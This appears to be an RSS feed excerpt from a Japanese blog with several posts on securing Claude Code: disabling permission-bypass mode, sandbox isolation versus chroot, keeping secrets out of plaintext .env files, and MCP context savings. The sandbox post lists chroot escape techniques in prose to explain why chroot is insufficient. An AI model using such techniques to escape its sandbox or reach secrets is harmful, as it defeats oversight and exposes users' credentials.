&lt;h2 id="最も重要な3つの設定"&gt;最も重要な3つの設定&lt;/h2&gt;
&lt;p&gt;元記事が推奨する最小限の設定は3つです。&lt;/p&gt;
&lt;h3 id="1-bypasspermissions-モードの無効化"&gt;1. bypassPermissions モードの無効化&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;permissions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;disableBypassPermissionsMode&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;disable&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; フラグは全ての承認プロンプトをスキップします。&lt;a href="https://code.claude.com/docs/en/permissions"&gt;公式ドキュメント&lt;/a&gt;によると、このモードではClaude がファイルの削除、破壊的なコマンドの実行、不可逆な変更を承認なしで行えます。&lt;code&gt;disableBypassPermissionsMode: &amp;quot;disable&amp;quot;&lt;/code&gt; で&lt;strong&gt;組織全体でこのモードを禁止&lt;/strong&gt;できます。&lt;/p&gt;</description></item><item><title>Claude Code サンドボックス完全解説 — chroot ではない、カーネルレベル隔離の仕組みと実践設定</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B5%E3%83%B3%E3%83%89%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-chroot-%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E3%82%AB%E3%83%BC%E3%83%8D%E3%83%AB%E3%83%AC%E3%83%99%E3%83%AB%E9%9A%94%E9%9B%A2%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5%E8%A8%AD%E5%AE%9A/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B5%E3%83%B3%E3%83%89%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-chroot-%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E3%82%AB%E3%83%BC%E3%83%8D%E3%83%AB%E3%83%AC%E3%83%99%E3%83%AB%E9%9A%94%E9%9B%A2%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5%E8%A8%AD%E5%AE%9A/</guid><description>&lt;h1 id="claude-code-サンドボックス完全解説--chroot-ではないカーネルレベル隔離の仕組みと実践設定"&gt;Claude Code サンドボックス完全解説 — chroot ではない、カーネルレベル隔離の仕組みと実践設定&lt;/h1&gt;
&lt;p&gt;「Claude Code のサンドボックスって、要するに chroot でしょ？」という誤解をよく耳にします。答えは明確に&lt;strong&gt;ノー&lt;/strong&gt;です。Claude Code のサンドボックスは chroot とは次元の異なるカーネルレベルの隔離機構で、ファイルシステムとネットワークの2層を OS プリミティブで強制します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.anthropic.com/engineering/claude-code-sandboxing"&gt;Anthropic のエンジニアリングブログ&lt;/a&gt;によると、サンドボックスにより&lt;strong&gt;承認プロンプトが84%削減&lt;/strong&gt;されました。セキュリティと生産性を両立する仕組みの全貌を、技術的な背景から実践設定まで解説します。&lt;/p&gt;
&lt;h2 id="chroot-との決定的な違い"&gt;chroot との決定的な違い&lt;/h2&gt;
&lt;p&gt;まず「chroot で十分か」という疑問に答えます。結論から言えば、&lt;strong&gt;chroot はセキュリティ対策として設計されていません&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="隔離技術の比較"&gt;隔離技術の比較&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://book.jorianwoltjer.com/binary-exploitation/sandboxes-chroot-seccomp-and-namespaces"&gt;Practical CTF の解説&lt;/a&gt;を基に、主要な隔離技術を比較します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;技術&lt;/th&gt;
&lt;th&gt;制限対象&lt;/th&gt;
&lt;th&gt;脱出の容易さ&lt;/th&gt;
&lt;th&gt;設計目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;chroot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイルシステムのパス解決のみ&lt;/td&gt;
&lt;td&gt;容易（root 権限で即脱出）&lt;/td&gt;
&lt;td&gt;組織的なツール（セキュリティ目的ではない）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;seccomp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;システムコール&lt;/td&gt;
&lt;td&gt;中程度（許可リストの漏れを突く）&lt;/td&gt;
&lt;td&gt;セキュリティ機構&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;namespaces&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;プロセス、ネットワーク、マウント&lt;/td&gt;
&lt;td&gt;困難（適切設定時）&lt;/td&gt;
&lt;td&gt;コンテナ隔離&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Seatbelt&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイル、ネットワーク、IPC、プロセス&lt;/td&gt;
&lt;td&gt;困難（カーネルレベル強制）&lt;/td&gt;
&lt;td&gt;アプリケーション隔離&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="chroot-の脱出方法"&gt;chroot の脱出方法&lt;/h3&gt;
&lt;p&gt;chroot がセキュリティ対策に不十分な理由を具体的に示します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;カレントディレクトリ攻撃&lt;/strong&gt;: chroot 実行時にカレントディレクトリが jail 外にあれば、相対パスで脱出可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二重 chroot&lt;/strong&gt;: 別の chroot を実行して前の制限を上書き&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルディスクリプタ&lt;/strong&gt;: jail 外で開かれた fd を経由してアクセス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;openat syscall&lt;/strong&gt;: ディレクトリ fd を使って jail 外のファイルを操作&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;つまり chroot は「ルートディレクトリの表示を変えるだけ」であり、ネットワーク制限もシステムコール制限もありません。AI エージェントのサンドボックスとしては全く不十分です。&lt;/p&gt;</description></item><item><title>Claude Code に「目」を与える --- ローカル VLM で画像・動画をコンテキスト消費ゼロで理解させる</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB%E7%9B%AE%E3%82%92%E4%B8%8E%E3%81%88%E3%82%8B---%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-vlm-%E3%81%A7%E7%94%BB%E5%83%8F%E5%8B%95%E7%94%BB%E3%82%92%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E6%B6%88%E8%B2%BB%E3%82%BC%E3%83%AD%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%95%E3%81%9B%E3%82%8B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB%E7%9B%AE%E3%82%92%E4%B8%8E%E3%81%88%E3%82%8B---%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-vlm-%E3%81%A7%E7%94%BB%E5%83%8F%E5%8B%95%E7%94%BB%E3%82%92%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E6%B6%88%E8%B2%BB%E3%82%BC%E3%83%AD%E3%81%A7%E7%90%86%E8%A7%A3%E3%81%95%E3%81%9B%E3%82%8B/</guid><description>&lt;h1 id="claude-code-に目を与える--ローカル-vlm-で画像動画をコンテキスト消費ゼロで理解させる"&gt;Claude Code に「目」を与える &amp;mdash; ローカル VLM で画像・動画をコンテキスト消費ゼロで理解させる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ShadeLurk/status/2028409595895722338"&gt;@ShadeLurk 氏が X で公開した記事&lt;/a&gt;が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code に「目」を作る &amp;mdash; コンテキストを 1 トークンも使わずに動画を理解させる方法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code で画像や動画を扱うと、1 枚あたり数千トークンがコンテキストから消えます。ローカル VLM（Qwen3-VL 等）を MCP サーバー経由で接続し、&lt;strong&gt;画像処理をオフロード&lt;/strong&gt;することで、Claude Code のコンテキストを一切消費せずにビジュアル情報を扱う手法が提案されています。本記事では、この問題の構造と解決アプローチを技術的に解説します。&lt;/p&gt;
&lt;h2 id="問題--画像-1-枚で数千トークンが消える"&gt;問題 &amp;mdash; 画像 1 枚で数千トークンが消える&lt;/h2&gt;
&lt;h3 id="claude-のビジョン処理とトークン消費"&gt;Claude のビジョン処理とトークン消費&lt;/h3&gt;
&lt;p&gt;Claude API でのビジョン処理は、画像をトークンに変換してコンテキストウィンドウに載せる仕組みです。Anthropic の公式ドキュメントによると、トークン消費量は以下の式で算出されます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tokens = (width px × height px) / 750
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;画像サイズ&lt;/th&gt;
&lt;th&gt;トークン数&lt;/th&gt;
&lt;th&gt;1,000 枚あたりのコスト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;200x200 px（0.04 MP）&lt;/td&gt;
&lt;td&gt;約 54&lt;/td&gt;
&lt;td&gt;約 $0.16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1000x1000 px（1 MP）&lt;/td&gt;
&lt;td&gt;約 1,334&lt;/td&gt;
&lt;td&gt;約 $4.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1092x1092 px（1.19 MP）&lt;/td&gt;
&lt;td&gt;約 1,590&lt;/td&gt;
&lt;td&gt;約 $4.80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;1 枚の高解像度スクリーンショットで &lt;strong&gt;約 1,600 トークン&lt;/strong&gt;が消費されます。Claude Code のコンテキストウィンドウは約 200,000 トークンですが、システムプロンプト・CLAUDE.md・会話履歴・MCP ツール定義などが既に占有しているため、実質的に使える容量は限られています。&lt;/p&gt;</description></item><item><title>dotenvx で暗号化、1Password CLI で注入 — .env 平文ゼロのローカル開発環境を構築する</title><link>https://hdknr.github.io/blogs/posts/2026/03/dotenvx-%E3%81%A7%E6%9A%97%E5%8F%B7%E5%8C%961password-cli-%E3%81%A7%E6%B3%A8%E5%85%A5-.env-%E5%B9%B3%E6%96%87%E3%82%BC%E3%83%AD%E3%81%AE%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/dotenvx-%E3%81%A7%E6%9A%97%E5%8F%B7%E5%8C%961password-cli-%E3%81%A7%E6%B3%A8%E5%85%A5-.env-%E5%B9%B3%E6%96%87%E3%82%BC%E3%83%AD%E3%81%AE%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="dotenvx-で暗号化1password-cli-で注入--env-平文ゼロのローカル開発環境を構築する"&gt;dotenvx で暗号化、1Password CLI で注入 — .env 平文ゼロのローカル開発環境を構築する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/higa_toshiki/status/2028636629922189572"&gt;@higa_toshiki 氏のポスト&lt;/a&gt;が、ローカル開発で &lt;code&gt;.env&lt;/code&gt; の平文を排除する実践的な手法を紹介しています（いいね 217、ブックマーク 255）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ローカルに.envの平文を置きたくないけど、ローカルで開発したいこともあるので、&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;dotenvxで.envを暗号化&lt;/li&gt;
&lt;li&gt;1 password cli で key を注入する
を使ってます。
（元木さんの言うように「秘密情報の平文はクラウドに置こう」に則る形）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元の &lt;a href="https://x.com/swarm_ai_cloud/status/2028634206579118262"&gt;@swarm_ai_cloud 氏のポスト&lt;/a&gt;では、AI CLI の &lt;code&gt;.env&lt;/code&gt; 読み込み防止機能への疑問が呈されています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AI のCLIには.env読まない仕様があるって？そんなん信用できるか？AI CLIはバージョンが上がればバグが混入し弾くファイル設定していても普通に読んだりするし&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code が &lt;a href="https://www.knostic.ai/blog/claude-loads-secrets-without-permission"&gt;.env ファイルを自動的に読み込む&lt;/a&gt;ことが確認されている今、「deny ルールで防ぐ」だけでは不十分という指摘は的を射ています。本記事では、higa 氏が紹介する2つのツール — dotenvx と 1Password CLI — の仕組みと実践的なセットアップ手順を解説します。&lt;/p&gt;
&lt;h2 id="2つのアプローチの組み合わせ"&gt;2つのアプローチの組み合わせ&lt;/h2&gt;
&lt;p&gt;higa 氏のワークフローは、2つの異なるアプローチを組み合わせています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;th&gt;アプローチ&lt;/th&gt;
&lt;th&gt;何を守るか&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;dotenvx&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; ファイル自体を暗号化&lt;/td&gt;
&lt;td&gt;ファイルを読まれても平文が漏れない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1Password CLI&lt;/td&gt;
&lt;td&gt;クラウド Vault からランタイム注入&lt;/td&gt;
&lt;td&gt;そもそもファイルにシークレットを置かない&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[dotenvx のアプローチ]
.env（暗号化済み）→ dotenvx run → 復号してプロセスに注入
→ .env.keys（秘密鍵）が必要
→ Git にコミット可能
[1Password CLI のアプローチ]
1Password Vault（クラウド）→ op run → プロセスに注入
→ Touch ID / マスターパスワードで認証
→ ディスクに平文が一切残らない
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;両者は排他的ではなく、用途に応じて使い分けるのが現実的です。&lt;/p&gt;</description></item><item><title>dotenvx・lkr・aws-vault・1Password CLI — .env 代替ツール4種の選び方とベストプラクティス</title><link>https://hdknr.github.io/blogs/posts/2026/03/dotenvxlkraws-vault1password-cli-.env-%E4%BB%A3%E6%9B%BF%E3%83%84%E3%83%BC%E3%83%AB4%E7%A8%AE%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9%E3%81%A8%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/dotenvxlkraws-vault1password-cli-.env-%E4%BB%A3%E6%9B%BF%E3%83%84%E3%83%BC%E3%83%AB4%E7%A8%AE%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9%E3%81%A8%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9/</guid><description>&lt;h1 id="dotenvxlkraws-vault1password-cli--env-代替ツール4種の選び方とベストプラクティス"&gt;dotenvx・lkr・aws-vault・1Password CLI — .env 代替ツール4種の選び方とベストプラクティス&lt;/h1&gt;
&lt;p&gt;AI エージェントが &lt;code&gt;.env&lt;/code&gt; ファイルを読み取るリスクが現実のものとなり、平文の &lt;code&gt;.env&lt;/code&gt; を代替するツールが続々と登場しています。本シリーズでは &lt;a href="https://gist.github.com/hdknr/c6757cc9fa558f456eb0920dea2f76e1"&gt;aws-vault&lt;/a&gt;、&lt;a href="https://gist.github.com/hdknr/7276db2810dcd2906c299fa0a1874b44"&gt;lkr&lt;/a&gt;、&lt;a href="https://gist.github.com/hdknr/db0f59b8d75be3b932868c101207fbc8"&gt;dotenvx + 1Password CLI&lt;/a&gt; をそれぞれ解説してきました。&lt;/p&gt;
&lt;p&gt;しかし「結局どれを使えばいいのか」という疑問が残ります。本記事では、4つのツールの守備範囲・強み・限界を比較し、チーム構成や開発環境に応じた選択指針を提示します。&lt;/p&gt;
&lt;h2 id="4ツールの守備範囲"&gt;4ツールの守備範囲&lt;/h2&gt;
&lt;p&gt;最も重要な違いは&lt;strong&gt;管理対象の範囲&lt;/strong&gt;です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;th&gt;管理対象&lt;/th&gt;
&lt;th&gt;DB接続&lt;/th&gt;
&lt;th&gt;SaaS キー&lt;/th&gt;
&lt;th&gt;LLM API キー&lt;/th&gt;
&lt;th&gt;AWS 認証&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;aws-vault&lt;/td&gt;
&lt;td&gt;AWS 認証情報のみ&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lkr&lt;/td&gt;
&lt;td&gt;LLM API キー（8社）&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dotenvx&lt;/td&gt;
&lt;td&gt;.env に書ける全て&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1Password CLI&lt;/td&gt;
&lt;td&gt;全種類&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;td&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;aws-vault と lkr は&lt;strong&gt;特定領域に特化&lt;/strong&gt;したツールです。&lt;code&gt;.env&lt;/code&gt; に含まれる全てのシークレットをカバーするには、dotenvx か 1Password CLI が必要になります。&lt;/p&gt;
&lt;h2 id="各ツールの強みと弱み"&gt;各ツールの強みと弱み&lt;/h2&gt;
&lt;h3 id="aws-vault"&gt;aws-vault&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ aws-vault exec dev -- python manage.py runserver
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;強み&lt;/th&gt;
&lt;th&gt;弱み&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;STS 一時認証（15分〜で自動失効）&lt;/td&gt;
&lt;td&gt;AWS 認証情報しか管理できない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AssumeRole による権限分離&lt;/td&gt;
&lt;td&gt;macOS 限定（Keychain 依存）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MFA 統合&lt;/td&gt;
&lt;td&gt;チーム共有不可&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;漏洩しても短時間で無効化される&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;最大の強み&lt;/strong&gt;は STS による一時認証です。他のどのツールも「漏洩しても自動で失効する」認証情報は提供できません。aws-vault が発行する一時認証情報は、仮に AI エージェントに読まれても最短15分で失効します。&lt;/p&gt;</description></item><item><title>MCP サーバーを増やしてもコンテキストを食わせない — Claude Code の Tool Search でトークン消費を95%削減</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%92%E5%A2%97%E3%82%84%E3%81%97%E3%81%A6%E3%82%82%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%92%E9%A3%9F%E3%82%8F%E3%81%9B%E3%81%AA%E3%81%84-claude-code-%E3%81%AE-tool-search-%E3%81%A7%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E6%B6%88%E8%B2%BB%E3%82%9295%E5%89%8A%E6%B8%9B/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%92%E5%A2%97%E3%82%84%E3%81%97%E3%81%A6%E3%82%82%E3%82%B3%E3%83%B3%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%92%E9%A3%9F%E3%82%8F%E3%81%9B%E3%81%AA%E3%81%84-claude-code-%E3%81%AE-tool-search-%E3%81%A7%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E6%B6%88%E8%B2%BB%E3%82%9295%E5%89%8A%E6%B8%9B/</guid><description>&lt;h1 id="mcp-サーバーを増やしてもコンテキストを食わせない--claude-code-の-tool-search-でトークン消費を95削減"&gt;MCP サーバーを増やしてもコンテキストを食わせない — Claude Code の Tool Search でトークン消費を95%削減&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/djrio_vr/status/2028717397134520392"&gt;@djrio_vr 氏のポスト&lt;/a&gt;が、Claude Code の MCP Tool Search 機能を紹介し、大きな反響を呼んでいます（いいね 418、ブックマーク 522）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Codeで登録してるMCPサーバが増えてくるとコンテキストがかなり食われてたけど、Tool Searchという必要な時だけ動的ロードするオプションをONにしたらめちゃくちゃコンテキスト節約になった！&lt;/p&gt;
&lt;p&gt;環境変数 ENABLE_TOOL_SEARCH=true と設定するだけ&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;MCP サーバーを複数接続していると、会話を始める前からコンテキストウィンドウの大部分が消費されてしまう問題は、多くの Claude Code ユーザーが直面していました。本記事では、この問題の構造と Tool Search による解決策を技術的に解説します。&lt;/p&gt;
&lt;h2 id="mcp-ツール定義がコンテキストを圧迫する構造"&gt;MCP ツール定義がコンテキストを圧迫する構造&lt;/h2&gt;
&lt;h3 id="なぜ-mcp-サーバーを増やすとコンテキストが減るのか"&gt;なぜ MCP サーバーを増やすとコンテキストが減るのか&lt;/h3&gt;
&lt;p&gt;Claude Code に MCP サーバーを接続すると、各サーバーが提供する&lt;strong&gt;全てのツール定義&lt;/strong&gt;がコンテキストウィンドウに読み込まれます。ツール定義には、ツール名、説明文、JSON スキーマ（パラメータの型・制約・説明）が含まれており、1つのツールだけでも数百トークンを消費します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[MCP サーバー接続時のコンテキスト構造]
システムプロンプト ～数千トークン
├── Claude Code の指示
├── CLAUDE.md の内容
└── ユーザー設定
ツール定義 ★ ここが問題
├── 組み込みツール（Read, Edit, Bash 等）
├── MCP サーバー A のツール × 10個
├── MCP サーバー B のツール × 15個
├── MCP サーバー C のツール × 20個
└── ...
会話履歴 ← 残りがここに使われる
├── ユーザーのメッセージ
└── Claude の応答
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="具体的な数値"&gt;具体的な数値&lt;/h3&gt;
&lt;p&gt;GitHub Issue &lt;a href="https://github.com/anthropics/claude-code/issues/3036"&gt;#3036&lt;/a&gt; では、約20個の MCP サーバーを接続した環境で、開始時点からコンテキスト使用率が8〜18%に達し、わずか5プロンプトで100%に到達する現象が報告されています。&lt;/p&gt;</description></item><item><title>Readout — Claude Code の開発環境をリアルタイム監視する macOS ネイティブアプリと「エージェント監視」カテゴリの台頭</title><link>https://hdknr.github.io/blogs/posts/2026/03/readout-claude-code-%E3%81%AE%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%82%92%E3%83%AA%E3%82%A2%E3%83%AB%E3%82%BF%E3%82%A4%E3%83%A0%E7%9B%A3%E8%A6%96%E3%81%99%E3%82%8B-macos-%E3%83%8D%E3%82%A4%E3%83%86%E3%82%A3%E3%83%96%E3%82%A2%E3%83%97%E3%83%AA%E3%81%A8%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E7%9B%A3%E8%A6%96%E3%82%AB%E3%83%86%E3%82%B4%E3%83%AA%E3%81%AE%E5%8F%B0%E9%A0%AD/</link><pubDate>Tue, 03 Mar 2026 00:00:00 